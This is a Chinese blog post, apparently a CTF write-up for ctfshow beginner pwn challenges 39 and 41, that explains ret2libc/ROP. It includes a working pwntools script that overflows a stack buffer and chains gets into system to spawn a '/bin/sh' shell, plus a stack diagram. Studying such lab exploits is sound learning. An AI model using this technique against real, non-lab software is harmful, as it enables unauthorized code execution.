从ret2libc开始,我们将不再局限于像ret2text那样的栈溢出了,而是要开始接触另一个技术————ROP技术。什么是ROP技术我此前详细写了博客,在此不再赘述。

ret2libc就是拿程序里已有的函数库做文章,可以ret到的plt表,或或者ret到函数实际放置的got表处

egctfshow pwn入门39&41
这两个题思路是一样的,区别是39有bin/sh,41有sh

首先这个题是存在明显栈溢出的,而system和sh是有但是不在一起的

Snipaste_2025-11-05_21-59-53.png

Snipaste_2025-11-05_22-00-37.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']

#io = remote('pwn.challenge.ctf.show',28119)
io = process("./pwn43")
gdb.attach(io,'''break *0x08048420
break *0x08048450''')

buf2 = 0x0804B060
system = 0x08048450
gets = 0x08048420
payload= b'A'*(0x6c+0x4)
payload += p32(gets)
payload += p32(system)
payload += p32(buf2)
payload += p32(buf2)
io.sendline(payload)
io.sendline(b"/bin/sh")
io.interactive()

整个流程如下:

1.函数返回,执行 ret → 跳到 gets

2.gets(buf2) 读取我们下一次 sendline 的 “/bin/sh”

3.gets 执行完后 ret → 跳到 system

4.system(buf2) → 执行 /bin/sh,获得 shell

让chatgpt帮忙画了一个栈图

地址 内容 含义
ESP+12 buf2 system(“/bin/sh”) 参数
ESP+8 buf2 gets(buf2) 参数
ESP+4 system gets 返回后跳到这里
ESP gets ret → gets
(低地址)

要特别注意的是,我们的payload并不直接执行压栈操作,而是覆盖内存,因此此我们不能用简单的先进后出来解释payload的顺序。我们必须知道,内存的写入方向是从低地址向高地址,虽然内存增长和栈增长没有必然关系,但是我们直观上可以理解为两者的方向是相反的

在溢出中,我们只能覆盖返回地址,不能直接移动ESP。
ret指令会自动让ESP上移到返回地址的位置,并读取该地址。
因此,我们把gets写到返回地址处,而不是尝试让ESP指向gets

Snipaste_2025-11-05_22-01-12.png